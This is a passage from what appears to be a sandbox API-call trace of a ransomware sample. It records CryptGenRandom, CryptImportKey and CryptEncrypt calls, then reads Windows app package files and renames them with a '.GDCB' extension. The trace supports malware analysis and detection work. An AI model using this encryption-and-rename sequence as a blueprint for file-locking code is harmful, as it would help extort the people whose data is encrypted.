Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0298.125] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0298.129] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.131] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.131] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0298.131] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.131] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0298.134] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.137] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.137] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0298.137] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.137] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0298.140] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67acb30) returned 1 [0298.140] CryptGetKeyParam (in: hKey=0x67acb30, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.140] CryptEncrypt (in: hKey=0x67acb30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2540000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x2540000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0298.140] GetLastError () returned 0x0 [0298.140] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.140] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0298.142] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67acab0) returned 1 [0298.142] CryptGetKeyParam (in: hKey=0x67acab0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.143] CryptEncrypt (in: hKey=0x67acab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2550000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x2550000*, pdwDataLen=0x285e050*=0x100) returned 1 [0298.143] GetLastError () returned 0x0 [0298.143] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.143] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Microsoft.Windows.Photos_15.618.18170.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\microsoft.windows.photos_15.618.18170.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0298.144] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2560000 [0298.147] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0298.149] ReadFile (in: hFile=0x3c8, lpBuffer=0xd920000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd920000*, lpNumberOfBytesRead=0x285e090*=0x40000, lpOverlapped=0x0) returned 1 [0298.193] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x2570000 [0298.206] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Microsoft.Windows.Photos_15.618.18170.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\microsoft.windows.photos_15.618.18170.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Microsoft.Windows.Photos_15.618.18170.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\microsoft.windows.photos_15.618.18170.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0298.234] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0298.237] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.239] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.240] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0298.240] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.240] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4980) returned 1 [0298.243] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.245] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.245] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0298.245] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0298.245] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0298.249] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ad070) returned 1 [0298.249] CryptGetKeyParam (in: hKey=0x67ad070, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0298.249] CryptEncrypt (in: hKey=0x67ad070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2540000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0x2540000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0298.249] GetLastError () returned 0x0 [0298.249] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.249] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4980) returned 1 [0298.251] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ac930) returned 1 [0298.251] CryptGetKeyParam (in: hKey=0x67ac930, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0298.251] CryptEncrypt (in: hKey=0x67ac930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2550000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0x2550000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0298.251] GetLastError () returned 0x0 [0298.251] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0298.251] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0298.256] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0298.259] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.263] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.263] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0298.263] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.263] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0298.266] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.268] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.270] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0298.270] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.270] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0298.273] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ac9b0) returned 1 [0298.273] CryptGetKeyParam (in: hKey=0x67ac9b0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0298.273] CryptEncrypt (in: hKey=0x67ac9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2560000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0x2560000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0298.273] GetLastError () returned 0x0 [0298.273] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.273] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0298.275] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67acaf0) returned 1 [0298.275] CryptGetKeyParam (in: hKey=0x67acaf0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0298.275] CryptEncrypt (in: hKey=0x67acaf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2570000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0x2570000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0298.275] GetLastError () returned 0x0 [0298.275] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.275] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Data.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_data.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0298.277] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0298.280] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.283] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.283] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0298.283] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.283] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0298.286] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.288] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.288] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0298.288] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.288] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0298.291] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67acb70) returned 1 [0298.291] CryptGetKeyParam (in: hKey=0x67acb70, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0298.291] CryptEncrypt (in: hKey=0x67acb70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2580000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0x2580000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0298.291] GetLastError () returned 0x0 [0298.291] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.291] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0298.293] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67acbb0) returned 1 [0298.293] CryptGetKeyParam (in: hKey=0x67acbb0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0298.293] CryptEncrypt (in: hKey=0x67acbb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2590000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0x2590000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0298.293] GetLastError () returned 0x0 [0298.293] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.293] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Header.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_header.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0298.312] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0298.316] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.318] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.318] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0298.318] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.318] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0298.321] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.323] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.323] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0298.323] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.324] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4980) returned 1 [0298.326] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad170) returned 1 [0298.326] CryptGetKeyParam (in: hKey=0x67ad170, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.326] CryptEncrypt (in: hKey=0x67ad170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25a0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x25a0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0298.326] GetLastError () returned 0x0 [0298.326] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0298.326] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0298.328] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad6f0) returned 1 [0298.328] CryptGetKeyParam (in: hKey=0x67ad6f0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.328] CryptEncrypt (in: hKey=0x67ad6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25b0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x25b0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0298.328] GetLastError () returned 0x0 [0298.328] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.329] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Microsoft.WindowsAlarms_10.1506.19010.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\microsoft.windowsalarms_10.1506.19010.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0298.329] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x25c0000 [0298.332] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0298.335] ReadFile (in: hFile=0x3c8, lpBuffer=0xd920000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd920000*, lpNumberOfBytesRead=0x285e090*=0x8000, lpOverlapped=0x0) returned 1 [0298.343] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x4) returned 0x25d0000 [0298.349] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Microsoft.WindowsAlarms_10.1506.19010.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\microsoft.windowsalarms_10.1506.19010.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Microsoft.WindowsAlarms_10.1506.19010.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\microsoft.windowsalarms_10.1506.19010.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0298.377] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0298.381] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.384] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.384] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0298.384] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.384] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0298.386] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.389] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.389] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0298.389] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.389] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0298.392] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad330) returned 1 [0298.392] CryptGetKeyParam (in: hKey=0x67ad330, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.392] CryptEncrypt (in: hKey=0x67ad330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25a0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x25a0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0298.392] GetLastError () returned 0x0 [0298.392] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.392] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0298.394] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad1b0) returned 1 [0298.394] CryptGetKeyParam (in: hKey=0x67ad1b0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.394] CryptEncrypt (in: hKey=0x67ad1b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25b0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x25b0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0298.394] GetLastError () returned 0x0 [0298.394] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.394] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Microsoft.WindowsCalculator_10.1506.19010.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\microsoft.windowscalculator_10.1506.19010.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0298.395] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x25c0000 [0298.399] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0298.402] ReadFile (in: hFile=0x3c8, lpBuffer=0xd920000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd920000*, lpNumberOfBytesRead=0x285e090*=0x2000, lpOverlapped=0x0) returned 1 [0298.422] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x25d0000 [0298.430] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Microsoft.WindowsCalculator_10.1506.19010.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application 